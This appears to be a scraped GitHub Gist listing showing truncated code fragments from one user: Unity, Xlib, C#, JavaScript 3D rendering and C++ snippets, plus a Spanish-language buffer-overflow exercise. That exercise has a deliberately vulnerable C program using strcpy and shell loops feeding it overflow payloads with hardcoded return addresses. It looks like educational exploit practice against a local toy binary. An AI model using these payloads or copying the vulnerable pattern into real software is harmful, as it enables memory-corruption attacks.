Skip to content

Instantly share code, notes, and snippets.

using UnityEngine;
using System.Collections;
using Emgu.CV;
using Emgu.CV.Util;
using Emgu.CV.UI;
using Emgu.CV.CvEnum;
using Emgu.CV.Structure;
using System.Runtime.InteropServices;
using System;
using UnityEngine.UI;
from Xlib.display import Display
import Xlib
from Xlib import X, XK
import Xlib.XK
import sys
import signal
import Queue
display = None
root = None
public MainWindow()
{
InitializeComponent();
// Logea las excepciones no controladas.
AppDomain.CurrentDomain.UnhandledException += new UnhandledExceptionEventHandler(unhandledException);
}
static void unhandledException(object sender, UnhandledExceptionEventArgs args)
{
Exception e = (Exception)args.ExceptionObject;
renderer = new AL3D.Renderer(window.innerWidth,window.innerHeight);
camera = new AL3D.PerspectiveCamera(40, window.innerWidth/window.innerHeight);
scene = new AL3D.Scene();
scene.add(mesh);
scene.add(light);
renderer.addEffect(new AL3D.GreyScaleEffect());
renderer.render(scene, camera);
earthMaterial = new AL3D.BlinnMaterial({shininess : 128, diffuse : 0xFFAAAAAA, specular : 0xffffffff, shading : AL3D.PhongInterpolation, texture: './res/color-map.jpg', specularMap: './res/specular-map.jpg', normalMap: './res/normal-map1.jpg'});
earth = new AL3D.Mesh.createSphere({radius: 1, height : 2, material : earthMaterial});
earth.position = new ALMath.Vector3(0,0,-2);
@RdlP
RdlP / Triangle.cpp
Last active November 30, 2016 21:32
#include "Triangle.hpp"
Triangle::Triangle(vec3 a, vec3 b, vec3 c, mat4 transform):
m_a(a), m_b(b), m_c(c), Geometry(transform)
{
}
Triangle::~Triangle()
{
#!/bin/sh
for i in `seq 1 2000`;
do
echo "Número de intentos: $i"
./name `python -c "print 'A'*44 + '\x70\x83\x04\x08' + '\x90\x83\x04\x08' + '\x3e\x73\xf3\xff' "`
done
@RdlP
RdlP / name.c
Created October 21, 2016 14:14
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(char *arg)
{
char name[32];
strcpy(name, arg);
printf("Bienvenido %s\n", name);
}
#!/bin/sh
for i in `seq 1 200`;
do
echo "Número de intentos: $i"
./name `python -c "print 'A'*44 + '\xbc\x6c\xb5\xff'"`
done
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
if (argc < 3){
printf("uso: %s variable_entorno programa_vulnerable\n", argv[0]);
return 0;
}